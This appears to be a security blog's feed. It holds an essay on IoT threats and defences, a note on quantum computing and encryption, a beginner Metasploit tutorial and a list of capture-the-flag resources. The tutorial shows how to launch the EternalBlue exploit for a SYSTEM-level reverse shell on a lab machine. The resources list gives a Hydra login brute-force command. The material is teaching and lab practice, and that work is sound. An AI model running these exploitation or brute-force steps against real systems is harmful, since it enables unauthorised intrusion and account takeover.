<p>There are many ways to categorize the types of threats to IoT devices. One of the most useful is designed by the Open Web Application Security Project (OWASP). The organization created the OWASP Internet of Things Project in order to identify and inform on the top 10 IoT vulnerabilities, as well as a methodology for validating and testing security on devices [1]. Any developer, security researcher, or user of IoT devices should know and become familiar with this project. While this framework is a great standard, I&#x2019;ll instead breakdown threats by the end results of the attack. This is sometimes referred to as Actions on Objective, which comes from the Lockheed Martin Cyber Kill Chain [3]. Please note this list is not exhaustive, but representative of several of the greatest threats to the industry. The three basic categories are exposure of sensitive information, usage of devices in subsequent attacks, and denial of service.</p>
<p>Beginning with exposure of sensitive information we will look at vulnerabilities which lead to unauthorized access to, or alteration of user data, device passwords, and other information. Data needs to be protected at three points in regard to IoT devices, that is on the device itself, while it is in motion, and on the server which hosts back-end services for the device. Protection of data on the device and in motion is a point of difficulty in IoT devices due to</p>
<p>limited resources such as hardware and power. The encryption algorithms that we rely on to protect our data to and from reasonably powerful devices such as phones and computers rely on the increasing hardware capabilities such as short- and long-term storage, and processing power. Many IoT devices, however, are designed to be as small as physically possibly to fit for example on a wrist. This leads to a scenario where developers may be inclined to implement solutions which skip over these protections entirely. A team of security researchers conducted analysis on several smart devices produced by a company called Withings including a Smart Baby Monitor, and a Smart Body Analyzer [4]. In both cases the team discovered data transmitted by the devices was in plain text which included sensitive personal information of the user. While the baby monitor required a one-time access token, they were relatively easily able to conduct an attack which led to unauthorized access to the camera feed.</p>
<p>In the next category of Actions on Objective we have attacks where the targeted device is used in a subsequent attack. This category is further broken down into two subcategories which are incidents where the attack is used to pivot further into an internal network, and other incidents where devices are used to launch or propagate attack against an entirely unrelated organization. In the first subcategory, a team of security researchers conducted a series of tests on a smart home device called Haier SmartCare [4]. After conducting tests on the device itself they were ultimately able to gain a root shell in the Linux operating system that the device was running. From there they took the root account password hash and cracked it in approximately five hours. Finally, equipped with this information they attempted a remote attack against another of the same device and discovered the password from the first device was hard coded on all of them, which is also the number one IoT vulnerability listed on the OWASP IoT Top 10 [1]. Despite the limited hardware capability of such a device, having a root shell on a remote Linux device, attackers could use this to pivot from the device and gain access to more protected systems within the internal network. Along the second subcategory, compromised IoT devices can also be used in large- scale distributed denial-of-service (DDoS) attacks against other organizations. For the sake of clarity, this category is not the same as a denial-of-service of the device itself, although that may happen, the intent is to use the device as a tool to deny or degrade service of another target. A large pool of compromised devices used for such a purpose are often referred to as a botnet. The largest known botnet comprised of compromised IoT devices is the Mirai botnet [5]. In 2016 the Mirai botnet controlled at least 100,000 devices and launched a DDoS against a DNS infrastructure company with a strength of 1.2Tbps, which at the time was the largest known DDoS attack.</p>
<p>Finally we have denial of service attacks against IoT devices. In this category of end- results it&#x2019;s important to know what the purpose of the device is that is being affected. On one end of the spectrum a smart thermostat controlling a home HVAC system which is denied service may lead to inability for the system to continue heating or cooling, which is most cases would be a nuisance. On the other end we have cases such as one in 2017 when the FDA confirmed a vulnerability in a cardiac medical implant that could cause the device battery to be drained, or to incorrectly apply heart pace making [6]. In the latter example, the effects of such at attack are potentially fatal. Another attack on ZigBee enabled devices is dubbed the ghost attack. This attack does not require any previous compromise, or knowledge of the device but is instead designed to drain the device power [7]. There are similar attacks designed to work specifically against ZLL networked devices. Security researchers have discovered ways to scan for, factory reset, and deny service to ZLL devices [7].</p>
<hr>
<h3 id="the-culture-of-iot-development-security-and-operations-devsecops-a-iddevsecopsa">The Culture of IoT Development, Security, and Operations (DevSecOps) <a id="devsecops"></a></h3>
<p>For the vast majority of companies cybersecurity is a necessary part of the process, but not something that generates any revenue. Especially for those working in developing and managing devices which are part of the Internet of Things (IoT). This means that there is no strong natural incentive for companies to prioritize secure development of the hardware and software for these devices. This is exasperated to a certain extent by a level of obliviousness from consumers. Consumers buy and own IoT devices and don&#x2019;t often consider the existing or possible vulnerabilities of the device. They also likely don&#x2019;t conduct such an evaluation regularly while owning these devices. People often just buy things and assume they will work as advertised. In July of 2015 security researchers demonstrated a vulnerability in the control systems of a Jeep Cherokee which allowed them ultimately to shut down the vehicle while it was being operated [8], another example of a denial-of-service attack on the device. This event subsequently led to a recall of the vehicle, and despite all of this, Jeep sales in the United States rose from 73K units in July of 2015, to 81K in August of 2015 [9].</p>
<p>While consequences from significant vulnerabilities being discovered can lead to decrease in sales, revenue, or stock prices, more often the impact to the company comes in the form of fines, sanctions, lawsuits, or other legal repercussions from those affected, or state and federal government. The consequences of ignoring security can be significant and will only continue to grow as IoT devices become more and more engrained into our everyday lives. In another case, a company called Owlet Baby Care developed a baby heart monitor which had security flaws so egregious at attacker could create any one of the end-results discussed previously, including exposure, usage, and denial, and more [10]. Despite this occurrence in late 2016, the company turned around and launched their initial public offering (IPO) on the stock market with a valuation of $1B [11].<br>
These and many more examples and contributing factors are what leads the industry<br>
towards a culture which prioritizes a short time-to-market over effective security. Many companies such as these rely instead on after-the-fact security frameworks such as penetrate and patch, and defect identification and mitigation. In both of these methodologies the concept is essentially to look at the end product and identify vulnerabilities, deficiencies, and inefficiencies to then turn around and adjust the software or manufacturing process to improve [12]. While these are useful tools, they should not be relied upon to ensure effective security mechanisms. In the software development world this process has proved to deliver poor security at a cost of many more working hours when compared to building in the security through initial development.</p>
<hr>
<h3 id="iot-security-a-idseca">IoT Security <a id="sec"></a></h3>
<p>At this point I&#x2019;ve discussed a number of threats and vulnerabilities that exist in the IoT device market, as well as some of the causes of those, including a lack of a security focused development culture. Now, I&#x2019;ll discuss a variety of proposed or implemented solutions.</p>
<p>From a technical standpoint, security in IoT devices is largely constrained by the hard- ware limitations, as previously discussed. As a result, several new fields of study have opened and been explored which are focused on delivering similar capabilities on limited hardware. One such example is research into the field of lightweight cryptography, which seeks to replace the symmetric and asymmetric algorithms that we use in more capable devices [7]. Many IoT devices do not have sufficient memory capacity to manage these encryption mechanisms which leads to developers failing to implement protection of data in motion. Recently the Na- tional Institute of Standards and Technology (NIST) collected 67 submissions for lightweight cryptography algorithms which the organization will review and consider for standardization. After several rounds of review 10 finalists were chosen to undergo a final round, the results of which is expected to be announced in May 2022 [13]. In addition to these advancements in cryptography, research is being conducted in anti-virus and traffic analysis software which are designed specifically for IoT devices. Where some devices can have a significant change in behavior and volume of traffic day-to-day, many IoT devices are relatively consistent. This can be used to develop simplistic detection software which looks for anomalies in that behavior such as CPU and memory consumption or network throughput. These anomalies can be indicative of an ongoing attack and possibly even match signatures of known attacks [7].</p>
<p>Another possible solution to these limitations is outsourcing some of these intensive tasks entirely to a trusted third-party device [7]. For example, a smart watch may initially set up a secure communication channel with the user&#x2019;s smart phone, following which the smart phone is responsible for managing as much of the security as possible, saving the watch itself from tasks which may drain its battery. Finally, a similar solution to outsourcing security mechanisms on a per-device basis is scoping out and implementing security as a whole at the network layer, which reduces the necessity for security on each device, especially as the heterogeneity of these devices continues to grow exponentially [14]. The proposal by security researchers here is to encourage a whole new sect of the industry they refer to as Security Management Providers (SMP) who would be responsible for developing solutions for organizations and individuals to manage security at the network level. They make several quality arguments to support this proposal including the fact that organizations could specialize in these security solutions and deliver a more effective answer than organizations who are more focused on reducing time-to-market (TTM) as much as possible. This type of security could also be updated and improved on a continuous basis to provide a similar, high level of protection to a large number and range of devices being used.</p>
<p>From a less technical perspective, creating a company culture that prioritizes security is something that has to start with C-Level executives and persist through many levels of management. The first step in encouraging such a culture is for those people to understand the consequences of not prioritizing security and ultimately creating an opportunity for threat actors to exploit the device or platform. In some cases, the company may be faced with fines and lawsuits which damage company reputation and cost financially. In other cases, vulnerabilities can lead to loss of life such as with medical devices or national critical infrastructure like power and water management. Regardless of the type of device developers are working, security experts should be integrated into the process to ensure the development is secure in order to meet legal and moral expectations.</p>
<hr>
<h3 id="conclusion-a-idconclusiona">Conclusion <a id="conclusion"></a></h3>
<p>As the market for IoT devices continues to grow, security becomes a greater concern. I&#x2019;ve detailed many threats and vulnerabilities, as well as limitations of the devices which frequently create those issues. This was followed by a discussion on the factors which created and propagated an environment for these vulnerabilities to be created. Finally, several technical and non-technical solutions were proposed to mitigate these vulnerabilities by removing, transferring, or reducing the risk associated with employment of various IoT devices.</p>
<hr>
<h3 id="references-a-idreferencesa">References <a id="references"></a></h3>
<p>[1]	D. Miessler, A. Guzman, V. Rudresh, and C. Smith, &#x201C;Owasp internet of things.&#x201D; <a href="https://owasp.org/www-project-internet-of-things/">https://owasp.org/www-project-internet-of-things/</a>.</p>
<p>[2]	Statista, &#x201C;Prognosis of worldwide spending on the internet of things (iot) from 2018 to 2023.&#x201D; <a href="https://www.statista.com/statistics/668996/worldwide-expenditures-for-the-internet-of-things/">https://www.statista.com/statistics/668996/worldwide-expenditures-for-the-internet-of-things/</a>, 2022.</p>
<p>[3]	Lockheed Martin, &#x201C;The cyber kill chain.&#x201D; <a href="https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html">https://www.lockheedmartin.com/en-us/capabilities/cyber/cyber-kill-chain.html</a>.</p>
<p>[4]	J. Wurm, K. Hoang, O. Arias, A.-R. Sadeghi, and Y. Jin, &#x201C;Security analysis on consumer and industrial iot devices.&#x201D; IEEE, January 2016.</p>
<p>[5]	N. Woolf, &#x201C;Ddos attack that disrupted internet was largest of its kind in history, experts say.&#x201D; <a href="https://www.theguardian.com/technology/2016/oct/26/ddos-attack-dyn-mirai-botnet">https://www.theguardian.com/technology/2016/oct/26/ddos-attack-dyn-mirai-botnet</a>, October 2016.</p>
<p>[6]	S. Larson, &#x201C;Fda confirms that st. jude&#x2019;s cardiac devices can be hacked.&#x201D; <a href="https://money.cnn.com/2017/01/09/technology/fda-st-jude-cardiac-hack/">https://money.cnn.com/2017/01/09/technology/fda-st-jude-cardiac-hack/</a>, January 2017.</p>
<p>[7]	F. Meneghello, M. Calore, D. Zucchetto, M. Polese, and A. Zanella, &#x201C;Iot: Internet of threats? a survey of practical security vulnerabilities in real iot devices,&#x201D; IEEE Internet of Things Journal, vol. 6, pp. 8182&#x2013;8201, August 2019.</p>
<p>[8]	BBC, &#x201C;Fiat chrysler recalls 1.4 million cars after jeep hack.&#x201D; <a href="https://www.bbc.com/news/technology-33650491">https://www.bbc.com/news/technology-33650491</a>, July 2015.</p>
<p>[9]	T. Cain, &#x201C;Jeep sales figures &#x2013; us market.&#x201D; <a href="https://www.goodcarbadcar.net/jeep-us-sales-figures/">https://www.goodcarbadcar.net/jeep-us-sales-figures/</a>.</p>
<p>[10] I.  Thomson,  &#x201C;Wi-fi  baby  heart  monitor  may  have  the  worst  iot  secu- rity of 2016.&#x201D; <a href="https://www.theregister.com/2016/10/13/possibly_worst_iot_security_failure_yet/?mt=1476453928163">https://www.theregister.com/2016/10/13/possibly_worst_iot_security_failure_yet/?mt=1476453928163</a>, October 2016.</p>
<p>[11] &#x201C;Owlet baby care launches ipo via spac for $1 billion valuation.&#x201D; <a href="https://cheddar.com/media/owlet-baby-care-launches-ipo-via-spac-for-1-billion-valuation">https://cheddar.com/media/owlet-baby-care-launches-ipo-via-spac-for-1-billion-valuation</a>,  July 2021.</p>
<p>[12] M. Borish, B. Post, A. Roschli, P. Chessner, L. Love, and K. Gaul, &#x201C;Defect identification and mitigation via visual inspection in large-scale additive manufacturing.&#x201D; <a href="https://link.springer.com/article/10.1007/s11837-018-3220-6">https://link.springer.com/article/10.1007/s11837-018-3220-6</a>,   November   2018.</p>
<p>[13] &#x201C;Lightweight	cryptography.&#x201D;	<a href="https://csrc.nist.gov/Projects/lightweight-cryptography">https://csrc.nist.gov/Projects/lightweight-cryptography</a>, April 2022.</p>
<p>[14] V. Sivaraman, H. H. Gharakheili, A. Vishwanath, R. Boreli, and O. Mehani, &#x201C;Network-level security and privacy control for smart-home iot devices.&#x201D; IEEE, October 2015.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Quantum Computing and Cryptography]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>The ability to use encryption to protect data in transit is a critical functionality in information technology today. Encryption algorithms we use come in two different forms, symmetric and asymmetric, and rely on complicated algorithms. Symmetric cryptography relies on two or more parties having copies of the same encryption key</p>]]></description><link>https://simulationcyber.com/quantum-computing-and-cryptography/</link><guid isPermaLink="false">62fc611799f6183f497c3553</guid><category><![CDATA[Current Events/Topics of Interest]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Sun, 19 Jun 2022 04:13:07 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1617839625591-e5a789593135?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDJ8fHF1YW50dW18ZW58MHx8fHwxNjU1NjExOTQ3&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://images.unsplash.com/photo-1617839625591-e5a789593135?crop=entropy&amp;cs=tinysrgb&amp;fit=max&amp;fm=jpg&amp;ixid=MnwxMTc3M3wwfDF8c2VhcmNofDJ8fHF1YW50dW18ZW58MHx8fHwxNjU1NjExOTQ3&amp;ixlib=rb-1.2.1&amp;q=80&amp;w=2000" alt="Quantum Computing and Cryptography"><p>The ability to use encryption to protect data in transit is a critical functionality in information technology today. Encryption algorithms we use come in two different forms, symmetric and asymmetric, and rely on complicated algorithms. Symmetric cryptography relies on two or more parties having copies of the same encryption key which can be used to both encrypt and decrypt data. Asymmetric, as the name might indicate, is an encryption schema in which two keys exist, the public key and the private key. Each of these two keys can encrypt data which the other can decrypt. The reason these complex algorithms are effective for encryption is because computing them in one direction is reasonably easy, but reversing that computation in the opposite direction is much more difficult, and more importantly, beyond the capability of hardware that is commonly available today [1]. This is where quantum computing comes into play.</p>
<p>Quantum computing is an emerging technology which capitalizes on a complex quantum mechanics phenomenon where &quot;particles can exist not only in the 0 and 1 state but in both simultaneously, known as superposition. A particle collapses into one of these states when it is inspected&quot; [1]. In quantum computing these particles are called qubits. Two types of quantum computing have emerged from the development of this technology, non-universal and universal. These two types can be compared very directly to another advancing technology in the field of machine learning and artificial intelligence. Generally speaking, machine learning is the ability for a computer to learn based on specific given input to complete a fairly specific task, whereas artificial intelligence is a more vast concept in which a machine is theoretically capable of learning from many things and completing many complex and unrelated tasks. Universal and non-universal quantum computing are similar. &quot;Universal quantum computers are developed to perform any given task, whereas non-universal quantum computers are developed for a given purpose&quot; [1].</p>
<p>The significant takeaway from the advancements in this hardware capability is that the algorithms which are currently very difficult if not impossible for today&apos;s hardware to reverse is becoming well within the realm of possibility with quantum computing. If we persist with today&apos;s encryption standards then when this technology becomes common, as our hardware today has over the last few decades, data in transit will no longer be safe from sniffing. Instead, we should leverage the technology to our advantage, as well as other upcoming capabilities to build new encryption methods which are unbreakable even by quantum computers. Several new encryption methods are in development today by NIST such as &quot;McEliece, Saber, Crystals-Kyber, and NTRU&quot; [2]. Organizations everywhere using this technology to ensure the confidentiality and integrity of digital communications should prepare to transition to new methods as soon as they become available to stay ahead of malicious cyber actors.</p>
<h1 id="references">References</h1>
<p>[1] V. Mavroedidis, K. Vishi, M. Zych, and A. Josang, &#x201C;The imapct of quantum computing on present cryptography,&#x201D; International Journal of Advanced Computer Science and Applications, vol. 9, 2018.<br>
[2] W. Copeland, &#x201C;Quantum computing will break today&#x2019;s encryption standards here&#x2019;s what to do about it.&#x201D; <a href="https://www.verizon.com/about/news/quantum-computing-encryption-standards">https://www.verizon.com/about/news/quantum-computing-encryption-standards</a>, October 2021.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Metasploit 101]]></title><description><![CDATA[<p>Over the last 20 years or so the Metasploit Framework, created by H.D. Moore, has grown in both capability and popularity to the point of being one of the core tools any penetration tester should know how and when to use. The framework itself modularizes components of a cyber</p>]]></description><link>https://simulationcyber.com/metasploit-101/</link><guid isPermaLink="false">62fc611799f6183f497c3551</guid><category><![CDATA[Miscellaneous]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Thu, 21 Apr 2022 18:30:12 GMT</pubDate><media:content url="https://simulationcyber.com/content/images/2022/04/Screenshot-from-2022-04-21-11-28-07.png" medium="image"/><content:encoded><![CDATA[<img src="https://simulationcyber.com/content/images/2022/04/Screenshot-from-2022-04-21-11-28-07.png" alt="Metasploit 101"><p>Over the last 20 years or so the Metasploit Framework, created by H.D. Moore, has grown in both capability and popularity to the point of being one of the core tools any penetration tester should know how and when to use. The framework itself modularizes components of a cyber attack so that pieces can be developed in isolation and used and reused in a massive variety of combinations. The types of modules within the framework are Exploit, Auxiliary, Post-Exploitation, Payload, and NOP Generator. Further, within each of these modules, there is a variety of basic and advanced configurations which can be set to easily tailor attacks to a specific target or targets. </p><p>In this article, I&apos;ll walk through four basic steps for beginners to get started using Metasploit. </p><div class="kg-card kg-callout-card kg-callout-card-grey"><div class="kg-callout-emoji">&#x1F4A1;</div><div class="kg-callout-text"><strong>Disclaimer: Running Metasploit modules against a target without specific, written approval is HIGHLY ILLEGAL</strong></div></div><!--kg-card-begin: markdown--><h2 id="table-of-contents">Table of Contents</h2>
<p><a href="#part1">Part 1: Prepare</a><br>
<a href="#part2">Part 2: Search</a><br>
<a href="#part3">Part 3: Use</a><br>
<a href="#part4">part 4: Configure</a><br>
<a href="#part5">Part 5: Run/Exploit</a></p>
<!--kg-card-end: markdown--><hr><!--kg-card-begin: markdown--><h3 id="part-1-prepare-a-idpart1a">Part 1: Prepare <a id="part1"></a></h3>
<!--kg-card-end: markdown--><p>If you&apos;re using Kali Linux then Metasploit is probably already installed and you can type <code>msfconsole</code> to launch the console environment. If you&apos;re using another distribution and you need to install it, instructions are <a href="https://docs.rapid7.com/metasploit/installing-the-metasploit-framework/">here</a>. </p><p>The framework has thousands of modules and it&apos;s a much deeper conversation how to know when and where to use those. In this article we&apos;ll walk through an example where a Windows machine running SMB is vulnerable to Eternal Blue. The results of a quick nmap scan, shown below, show that this machine has services running on ports 139 and 445, which is indicative of SMB. </p><figure class="kg-card kg-image-card"><img src="https://simulationcyber.com/content/images/2022/04/image.png" class="kg-image" alt="Metasploit 101" loading="lazy" width="921" height="341" srcset="https://simulationcyber.com/content/images/size/w600/2022/04/image.png 600w, https://simulationcyber.com/content/images/2022/04/image.png 921w" sizes="(min-width: 720px) 720px"></figure><hr><!--kg-card-begin: markdown--><h3 id="part-2-search-a-idpart2a">Part 2: Search <a id="part2"></a></h3>
<!--kg-card-end: markdown--><p>Now that we&apos;ve identified this machine <em>may</em> be vulnerable to Eternal Blue, we can jump into the console using <code>msfconsole</code> and search for the module. The search function allows you to search by specific keywords such as platform, port, type (exploit, payload, auxiliary, etc..), and the basic syntax is <code>search &lt;options&gt; &lt;keywords&gt;:&lt;values&gt;</code>. By viewing the help menu with <code>search -h</code> you can see a list of the keywords available to search on. In the simplest form however you can just type search and a term you want to search on, such as <code>search EternalBlue</code>. In the example below that search returned 4 results, all related to the exploit we were looking for, and #2 is the one we&apos;ll use. </p><figure class="kg-card kg-image-card"><img src="https://simulationcyber.com/content/images/2022/04/image-1.png" class="kg-image" alt="Metasploit 101" loading="lazy" width="1184" height="524" srcset="https://simulationcyber.com/content/images/size/w600/2022/04/image-1.png 600w, https://simulationcyber.com/content/images/size/w1000/2022/04/image-1.png 1000w, https://simulationcyber.com/content/images/2022/04/image-1.png 1184w" sizes="(min-width: 720px) 720px"></figure><hr><!--kg-card-begin: markdown--><h3 id="part-3-use-a-idpart3a">Part 3: Use <a id="part3"></a></h3>
<!--kg-card-end: markdown--><p>This is easily the simplest step. Once we find a module we&apos;re interested in employing, we can type the commnd <code>use</code> followed by either the # result the module was, or by typing the full path of the module. In this case we can use either of the following </p><pre><code>use 2
use exploit/windows/smb/ms17_010_eternalblue</code></pre><p>Once we enter one of those the module will be loaded for configuration.</p><figure class="kg-card kg-image-card"><img src="https://simulationcyber.com/content/images/2022/04/image-2.png" class="kg-image" alt="Metasploit 101" loading="lazy" width="1170" height="190" srcset="https://simulationcyber.com/content/images/size/w600/2022/04/image-2.png 600w, https://simulationcyber.com/content/images/size/w1000/2022/04/image-2.png 1000w, https://simulationcyber.com/content/images/2022/04/image-2.png 1170w" sizes="(min-width: 720px) 720px"></figure><p>Please note that when you initally load exploit modules a payload will automatically be selected and <em>most</em> of the time it&apos;s a payload that is well suited for that exploit. However, you can reconfigure the payload to use any of the ones available within Metasploit, or even add your own.</p><hr><!--kg-card-begin: markdown--><h3 id="part-4-configure-a-idpart4a">Part 4: Configure <a id="part4"></a></h3>
<!--kg-card-end: markdown--><p>Outside of learning how to find modules that will meet your needs, configuration of the module is probably the most complicated step when actually using metasploit. The first thing you need to do is view what options are available for configuration with the particular module you have loaded. This can be done with one of two commands</p><pre><code>show options
show advanced options</code></pre><p>In the screenshot below we can see the basic options available for the eternalblue exploit we&apos;ve selected. A few notes here: no configuration was completed before running the show options command, in the column &quot;Current Setting,&quot; the items which are populated show either the default value, or in cases such as &quot;LHOST&quot; it was pulled from the default network interface. </p><figure class="kg-card kg-image-card"><img src="https://simulationcyber.com/content/images/2022/04/image-3.png" class="kg-image" alt="Metasploit 101" loading="lazy" width="1174" height="682" srcset="https://simulationcyber.com/content/images/size/w600/2022/04/image-3.png 600w, https://simulationcyber.com/content/images/size/w1000/2022/04/image-3.png 1000w, https://simulationcyber.com/content/images/2022/04/image-3.png 1174w" sizes="(min-width: 720px) 720px"></figure><p>The green and red marks are indicating where specific options are mandatory to be set before the exploit or module can be run. In this case all of the mandatory options are already set except one which is RHOSTS. To set any option we use the basic syntax <code>set &lt;name&gt; &lt;value&gt;</code>. So, to set RHOSTS, we can enter the command <code>set RHOSTS 10.10.116.100</code>, and then show options again to see that the change took effect. </p><figure class="kg-card kg-image-card"><img src="https://simulationcyber.com/content/images/2022/04/image-4.png" class="kg-image" alt="Metasploit 101" loading="lazy" width="1176" height="405" srcset="https://simulationcyber.com/content/images/size/w600/2022/04/image-4.png 600w, https://simulationcyber.com/content/images/size/w1000/2022/04/image-4.png 1000w, https://simulationcyber.com/content/images/2022/04/image-4.png 1176w" sizes="(min-width: 720px) 720px"></figure><p>Beyond the basic configurations, this is the step where any number of advanced concepts can be applied such as setting up proxy servers, adjusting the attack to target non-standard ports, setting wordlists to use in dictionary-based password attacks, etc... Beyond having thousands of modules to begin with, this is where the framework itself becomes an incredibly powerful tool because you can custom fit your attack to fit your target. </p><hr><!--kg-card-begin: markdown--><h3 id="part-5-runexploit-a-idpart5a">Part 5: Run/Exploit <a id="part5"></a></h3>
<!--kg-card-end: markdown--><p>The final step in the process is to simply run it. You can use either of the following commands: </p><pre><code>run
exploit</code></pre><p>Note that <code>exploit</code> accomplishes the same thing, it&apos;s just an alias for the command <code>run</code>. Once we run the exploit we can see a log of events and the status of success/failure for each step. If the exploit is overall succesfful, the payload executes, and the payload was configured to return a shell, then at this point you will be greeted with the prompt for that shell! In the example here the payload was a meterpreter reverse TCP shell so the final result is a meterpreter prompt where the command <code>getuid</code> shows the user we gained access as which is NT AUTHORITY\SYSTEM. </p><figure class="kg-card kg-image-card"><img src="https://simulationcyber.com/content/images/2022/04/image-5.png" class="kg-image" alt="Metasploit 101" loading="lazy" width="1419" height="778" srcset="https://simulationcyber.com/content/images/size/w600/2022/04/image-5.png 600w, https://simulationcyber.com/content/images/size/w1000/2022/04/image-5.png 1000w, https://simulationcyber.com/content/images/2022/04/image-5.png 1419w" sizes="(min-width: 720px) 720px"></figure><p>At this point we&apos;ve succesfully used the Metasploit Framework to compromise a Windows machine running SMB using the Eternal Blue exploit module. If you&apos;re unfamiliar with Windows, NT AUTHORITY\SYSTEM is the highest privileges you can get on a Windows machine so the only place to go from here is using this machine to pivot to others in the network and spread access. Congratulations!</p>]]></content:encoded></item><item><title><![CDATA[CTF Training and Resources]]></title><description><![CDATA[<!--kg-card-begin: markdown--><center>Step 1: Try Harder</center>
<hr>
<h2 id="contents">Contents</h2>
<p><a href="#cheatsheets">Cheat Sheets</a><br>
<a href="#tools">Tools</a><br>
<a href="#training">Training</a><br>
<a href="#commands">Commands</a></p>
<hr>
<h4 id="cheat-sheets-a-idcheatsheetsa">Cheat Sheets <a id="cheatsheets"></a></h4>
<ul>
<li><a href="https://tmuxcheatsheet.com/">Tmux Cheat Sheet</a></li>
<li><a href="https://dockercheatsheet.com/">Docker Cheat Sheet</a></li>
<li><a href="https://gtfobins.github.io/">GTFO Bins (Linux)</a></li>
<li><a href="https://lolbas-project.github.io/#">LOLBas (Windows)</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings">Payload All The Things</a></li>
<li><a href="https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet">MSFVenom Reverse Shell Payload Cheatsheet</a></li>
<li><a href="https://www.comparitech.com/net-admin/metasploit-cheat-sheet/">Metasploit Cheat Sheet</a></li>
<li><a href="https://www.pcwdld.com/linux-commands-cheat-sheet">PCWDLD Linux Command Reference Guide</a></li>
</ul>
<h4 id="tools-a-idtoolsa">Tools <a id="tools"></a></h4>
<ul>
<li><a href="https://www.exploit-db.com">Exploit Database</a></li>
<li><a href="https://gchq.github.io/CyberChef/">Cyber Chef</a></li>
<li><a href="https://www.dcode.fr/">Online Decoder</a></li>
<li><a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">LinPEAS (Linux Privesc</a></li></ul>]]></description><link>https://simulationcyber.com/ctf-training-and-resources/</link><guid isPermaLink="false">62312af3a5cdb5ba1b21630f</guid><category><![CDATA[Miscellaneous]]></category><dc:creator><![CDATA[Elizabeth Sims]]></dc:creator><pubDate>Wed, 16 Mar 2022 00:16:48 GMT</pubDate><media:content url="https://simulationcyber.com/content/images/2022/03/ctf.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><center>Step 1: Try Harder</center>
<hr>
<h2 id="contents">Contents</h2>
<img src="https://simulationcyber.com/content/images/2022/03/ctf.png" alt="CTF Training and Resources"><p><a href="#cheatsheets">Cheat Sheets</a><br>
<a href="#tools">Tools</a><br>
<a href="#training">Training</a><br>
<a href="#commands">Commands</a></p>
<hr>
<h4 id="cheat-sheets-a-idcheatsheetsa">Cheat Sheets <a id="cheatsheets"></a></h4>
<ul>
<li><a href="https://tmuxcheatsheet.com/">Tmux Cheat Sheet</a></li>
<li><a href="https://dockercheatsheet.com/">Docker Cheat Sheet</a></li>
<li><a href="https://gtfobins.github.io/">GTFO Bins (Linux)</a></li>
<li><a href="https://lolbas-project.github.io/#">LOLBas (Windows)</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings">Payload All The Things</a></li>
<li><a href="https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet">MSFVenom Reverse Shell Payload Cheatsheet</a></li>
<li><a href="https://www.comparitech.com/net-admin/metasploit-cheat-sheet/">Metasploit Cheat Sheet</a></li>
<li><a href="https://www.pcwdld.com/linux-commands-cheat-sheet">PCWDLD Linux Command Reference Guide</a></li>
</ul>
<h4 id="tools-a-idtoolsa">Tools <a id="tools"></a></h4>
<ul>
<li><a href="https://www.exploit-db.com">Exploit Database</a></li>
<li><a href="https://gchq.github.io/CyberChef/">Cyber Chef</a></li>
<li><a href="https://www.dcode.fr/">Online Decoder</a></li>
<li><a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">LinPEAS (Linux Privesc Binary)</a></li>
<li><a href="https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS">WinPEAS (Windows Privesc)</a></li>
<li><a href="https://github.com/m57/dnsteal">DNS Exfil Tool</a></li>
<li><a href="https://github.com/volatilityfoundation/volatility">Volatility (memory extraction utility framework)</a></li>
<li>Online Hash Crackers:
<ul>
<li><a href="https://crackstation.net/">Crackstation</a></li>
<li><a href="https://md5decrypt.net/en/">MD5Decrypt</a></li>
<li><a href="https://hashes.com/en/decrypt/hash">Hashes.com</a></li>
</ul>
</li>
</ul>
<h4 id="training-a-idtraininga">Training <a id="training"></a></h4>
<ul>
<li><a href="https://tryhackme.com/hacktivities">Try Hack Me Learning Paths</a></li>
<li><a href="https://digitalu.af.mil">USAF Digital University (thousands of free training courses for anyone with an AF email)</a></li>
<li><a href="https://nsa-codebreaker.org/resources">Reverse Engineering - NSA Codebreaker Challenge</a></li>
<li><a href="https://guyinatuxedo.github.io">Reverse Engineering - Nightmare</a></li>
<li><a href="https://github.com/apsdehal/awesome-ctf">Awesome CTF</a></li>
<li><a href="https://picoctf.org/">Pico CTF</a></li>
</ul>
<h4 id="commands-a-idcommandsa">Commands <a id="commands"></a></h4>
<ul>
<li>Use <strong>Hydra</strong> to brute-force web page login
<ul>
<li>Command: <code>sudo hydra -l &lt;username&gt; -P &lt;password list&gt; &lt;IP&gt; http-post-form &quot;/&lt;login page&gt;:username=^USER^&amp;password=^PASS^:&lt;Invalid Login Message&gt;&quot;</code></li>
<li>Use <code>-L &lt;username list&gt;</code> to use a list instead of a single username</li>
<li>The parameters may need to be adjusted to the request the webpage is expecting, i.e. another common parameter used may look something like <code>login=true</code></li>
<li>Example: <code>sudo hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.10.10 http-post-form &quot;/login.php:username=^USER^&amp;password=^PASS^&amp;login=true:Invalid Username or Password&quot;</code></li>
</ul>
</li>
<li><strong>Steghide/Stegcracker</strong>
<ul>
<li>Use Steghide to embed a text file inside an image: <code>steghide embed -cf &lt;image file&gt; -ef &lt;text file&gt;</code></li>
<li>Use Steghide to extract message from an image: <code>steghide extract -sf &lt;image file&gt;</code></li>
<li>Use Stegcracker to brute force crack a password protected file hidden in image file: <code>stegcracker &lt;image file&gt; &lt;wordlist&gt;</code></li>
</ul>
</li>
<li><strong>Powershell</strong> execute encoded commands:
<ul>
<li>Run on Windows machine that is not the target:<br>
